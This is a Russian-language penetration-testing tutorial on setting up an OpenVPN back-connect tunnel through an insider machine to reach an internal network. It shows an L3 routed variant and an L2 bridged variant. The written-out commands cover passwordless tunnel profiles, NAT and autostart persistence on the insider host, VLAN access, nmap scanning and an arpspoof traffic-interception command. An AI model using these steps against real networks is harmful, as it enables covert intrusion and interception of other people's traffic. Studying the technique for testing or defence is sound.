# BackConnect VPN Tunnel - немного попотеть
Проникаем во внутрь инфраструктуры используя ***BackConnect VPN Tunnel*** основываясь на ***OpenVPN***
Первый способ: Построим ***VPN Tunnel*** на уровне **L3** (как будто стоит маршрутизатор)
Второй способ: Построим ***VPN Tunnel*** на уровне **L2** (как будто стоит коммутатор) - для того чтобы мы могли перехватывать *ARPs*
## VPN Tunnel L3
### Устанавливаем **OpenVPN Server** на нашу машину которая будет выступать в роли сервака злоумышленника, в нашем случае будем использовать машину с **ОС Debian**
1. Настраиваем на машине сеть и получаем IP address;
2. Для удобства переименовываем машину
> `nano /etc/hostname` - OVPN-SRV
> `nano /etc/hosts` - 127.0.0.1 localhost, 127.0.1.1 OVPN-SRV
После этого ребутаем машинку
3. Обновляем машинку - apt update, apt upgrade
4. Для удобства подключаемся к нашей машине по SSH c хостовой тачки
> `ssh root@ip_addr_ovpn-srv`
5. Для того чтобы установить ***OpenVPN Server*** скачиваем проверенный скрипт быстрой установки - https://github.com/angristan/openvpn-install
> если на ***OVPN-SRV*** нет ***curl*** то устанавливаем его
> `apt install curl`
>
> Теперь скачиваем непосредственно сам ***скрипт*** и делаем его ***исполняемым***
> `curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh`
> `chmod +x openvpn-install.sh`
>
> Запускаем скрипт
> `./openvpn-install.sh`
>
> ***На первом*** этапе должен быть указан **IP address** который имеет наш интерфейс
> ***На втором*** этапе меняем на **IP address** который указан в ***первом этапе***
>
> **IPv6 support (NAT)** [y/n]: **n**
> **Port choice** [1-3]: **1**
> **Protocol** [1-2]: **1**
> **DNS** [1-12]: **11**
> **Enable compression?** [y/n]: **n**
> **Customize encryption settings?** [y/n]: **n**
>
> *Данные настройки дефолтные, для более тонкой настройки необходимо будет изучить опции*
> 
>
> После того как скрипт закончит установку, запросит создание клиент профиль **client name:**
> Первый клиент у нас будет на машине ***злоумышленника*** - это ***Kali Linux***
> 
> **Add a passwordless client** - для того чтобы автоматически подключался, без пароля.
> Это потому что мы используем для взлома, но например для сотрудников организации обязательно поставить двухфакторку.
>
---
> Добавим еще один клиент профиль который будет на машине инсайдера:
> **Запускаем скрипт** - **`./openvpn-install.sh`**
> **Добавим профиль** - Add a new user
> **Указываем имя** - client name:
> **Пропускаем без пароля** - Add a passwordless client
>
> > 
6. Устанавливаем OpenVPN на машину инсайдера и злоумышленника
> `apt update`
> `apt install openvpn`
7. Переносим файл созданного юзера kali и юзера inside на соответствующие машины
> `scp root@ip_addr_ovpn-srv:/root/kali.ovpn ./kali.conf` - на машине ***Kali Linux***
> `scp root@ip_addr_ovpn-srv:/root/inside.ovpn ./inside.conf` - на машине ***Debian(инсайдер)***
8. Перед запуском OpenVPN необходимо поправить серверный конфиг, чтобы работало все не по дефолту
> На OpenVPN Server - машина ***OVPN-SRV***
> `nano /etc/openvpn/server.conf`
>
> Комментим строки push*
> > 
>
> И в самом низу добавляем строку
> `client-to-client`
> Это нужно для того чтобы клиенты видели трафик между собой
> Иначе, после подключения клиентов к OpenVPN Server, при пинге одного клиента с другого, пинг будет редиректить к серверу
>
> Сохраняем и перезагружаем сервис
> `service openvpn restart`
9. Отредактируем конфиги клиентов
> `nano ./kali.conf`
> `nano ./inside.conf`
>
> Комментим строки как на скрине
> > 
10. Коннектимся с обоих клиентов до ***OVPN-SRV***
> `openvpn --config kali.conf`
> `openvpn --config inside.conf`
>
> проверяем пинги с одного клиента до другого
> > 
Мы добрались с Kali через сервер OVPN-SRV к Debian(инсайдер) машине которая находится внутри сети.
Теперь нам необходимо добраться до всей сети
11. Используем статическую маршрутизацию и прописываем маршрут на Kali Linux, указываем сеть и через что мы идем (IP тунеля на машине инсайдера)
> `ip route add 192.168.100.0/24 via 10.8.0.3`
12. Для того чтобы видеть сеть за клиентом, нам необходимо создать файлик с именем клиента на сервере. Данный подводный камень только в ***OpenVPN L3***, в ***L2*** такого нет.
> На сервере OVPN-SRV переходим в директорию ***ccd***
> `cd /etc/openvpn/ccd/`
>
> Создаем файл
> `nano inside`
>
> Прописываем внутри
> `iroute 192.168.100.0 255.255.255.0`
>
> рестартуем openvpn
> `service openvpn restart`
>
> Переподключаемся с клиентов до OpenVPN
> `openvpn --config kali.conf`
> `openvpn --config inside.conf`
13. Для того чтобы ***не слетал маршрут*** после перезапуска нашего клиента Kali Linux, создадим конфиг в директории ***ccd*** на сервере OVPN-SRV
> `cd /etc/openvpn/ccd/`
>
> Создаем файл
> `nano kali`
>
> Прописываем
> `push "route 192.168.100.0 255.255.255.0 10.8.0.3"`
14. Для того чтобы достучаться до фаервола с клиента Kali Linux, необходимо прописать NAT на клиенте Debian(инсайдер)
> `iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`
>
> Теперь мы можем пропинговать фаервол и зайти на него)
---
С помощью применения небольшой магии, мы можем теперь сканить сеть и попробовать что-то сломать :male_mage:
---
## VPN Tunnel L2
Автоматизируем систему связанную с OpenVPN, сделаем так чтобы при запуске машинки клиента OpenVPN-client, запускался сам OpenVPN
Правила iptables которые использовали при подключении через L3, надо будет убрать, тут они нам не понадобятся
1. Ставим в автозагрузку openvpn
> `systemctl enable openvpn`
>
> Переместим с корневой директории конфиг **inside.conf** в ***/etc/openvpn/***
> `mv inside.conf /etc/openvpn/`
>
> Расскоментим команду AUTOSTART="all" в `/etc/default/openvpn` для того чтобы он стартовал все конфиг файлы находящиеся в /etc/openvpn/
> >
>
> ребутаем машинку - `reboot`
>
> Смотрим `ip a`
> У нас должен подняться tun0 интерфейс
> >
2. Делаем чтобы OpenVPN-client коннектился не IP туннелем до **OVPN-SRV**, а Ethernet туннелем то есть на уровне L2
> Закоментим строчку **dev tun** и добавим **dev tap** в кофиге на ***OVPN-SRV***
> `nano /etc/openvpn/server.conf`
>
> >
>
> Перезапускаем сервис
> `service openvpn restart`
>
> Тоже самое делаем и на клиентах
> `nano /etc/openvpn/inside.conf` - на инсайдере
> `nano /etc/openvpn/kali.conf` - на нашей кали
> `service openvpn restart`
>
> После рестарта сервиса, появится интерфейс tap0
> >
>
> > Мы настроили OpenVPN так как будто бы клиенты внешний и внутренний подключены проводочком к коммутатору и находяться в одной сети
3. Теперь сделаем так, чтобы клиент инсайдер бридживал сеть :male_mage:
> Для этого нам необходимо будет установить ***bridge-utils*** на ***машину инсайдера***
> > **`apt install bridge-utils`**
> >
> > Эта утилита позволит нам **забридживать** виртуальный интерфейс **tap0** и интерфейс **ens3**, эти два интерфейса между собой будут как будто бы связаны в одном коммутаторе.
> > Весь трафик который будет идти **внутри инфраструктуры**, так же будет уходить и в **tap0** интерфейс
> > Так же мы сможем проникнуть в любой **VLAN**, если у нас будет транковый порт через систему инсайдера
>
> Приступим к настройке и сделаем так чтобы tap0 и ens3 были в бридже
> `nano /etc/network/interfaces`
> > 
> > * Поднимаем интерфейс tap0
> > * В интерфейсах **tap0** и **ens3** указываем ***inet manul***, так как они являются элементами моста
> > * Поднимаем интерфейс моста **br0**, указываем что ***IP*** будет получен по ***DHCP*** и портами этого моста будут наши интерфейсы **ens3** и **tap0**
> > * Интерфейсы виланов нам пока не нужны, их закоментим
> > * Ребутаем машину чтобы закоменченные интерфейсы нам не мешали
> > * Так как сначала стартует сеть а потом уже OpenVPN, то интерфейс tap0 не имеет **master br0**, необходимо рестартануть сеть `service networking restart`
> > > Для того чтобы автоматизировать эту часть, и не перезагружать сеть в ручную, пропишем скрипт
> > > Добавим пару строк в **/etc/openvpn/inside.conf**
> > > * script-security 2
> > > * up /etc/openvpn/up.sh
> > >
> > > > 
> > >
> > > Редактируем скрипт **nano /etc/openvpn/up.sh**
> > >
> > > > 
> > >
> > > Делаем скрипт исполняемым **`chmod +x /etc/openvpn/up.sh`**
> > > :mage:
>
> Переходим к :skull: Kali Linux и добавим IP внутренней сети к интерфейсу tap0
> > Например - `ip addr add 192.168.100.55/24 dev tap0`
> >
> > 
>
> Смотрим **`ip route`**, и если есть роут на ***192.168.100.0/24 via 10.8.0.3 dev tap0*** то удаляем его
> > 
> >
> > `ip route delete 192.168.100.0/24`
>
> Пропингуем **firewall** и посмотрим через **wireshark** прилетают ли нам **ARPs**
> > `ping 192.168.100.254`
> > 
> >
> > 
4. Настроим sub интерфейсы на :skull: Kali Linux
> `nano /etc/network/interfaces`
>
> > 
>
> Добавим на tap0.10 интерфейс айпишник с VLAN-10
> Например - `ip addr add 192.168.10.53/24 dev tap0.10`
> Проверим пинг - `ping 192.168.10.254`
> > 
>
> Пробуем посканить сеть через nmap
> `nmap 192.168.10.0/24 -v`
> > 
>
> Попробуем перехватить трафик с Win7 машинки 192.168.10.10 перехватить трафик (**arpspoof**)
> > Для того чтобы работал ***ARP spoof*** на :skull: Kali Linux в **/etc/sysctl.conf** должен быть включен **net.ipv4.ip_forward=1**
>
> При атаке ARP spoofing необходимо заменить дефолтный **gateway** в **`ip route`**
> > `ip route delete default`
> >
> > И добавляем gateway VLAN-10
> > `ip route add default via 192.168.10.254`
> >
> > Либо же настроить игнорирование изменения шлюза в конфиге OpenVPN
>
> Запускаем атаку ARP spoofing
> `arpspoof -i tap0.10 -t 192.168.10.10 -r 192.168.10.254`
>
> И с помощью например wireshark ловим пакеты
>
:male_mage: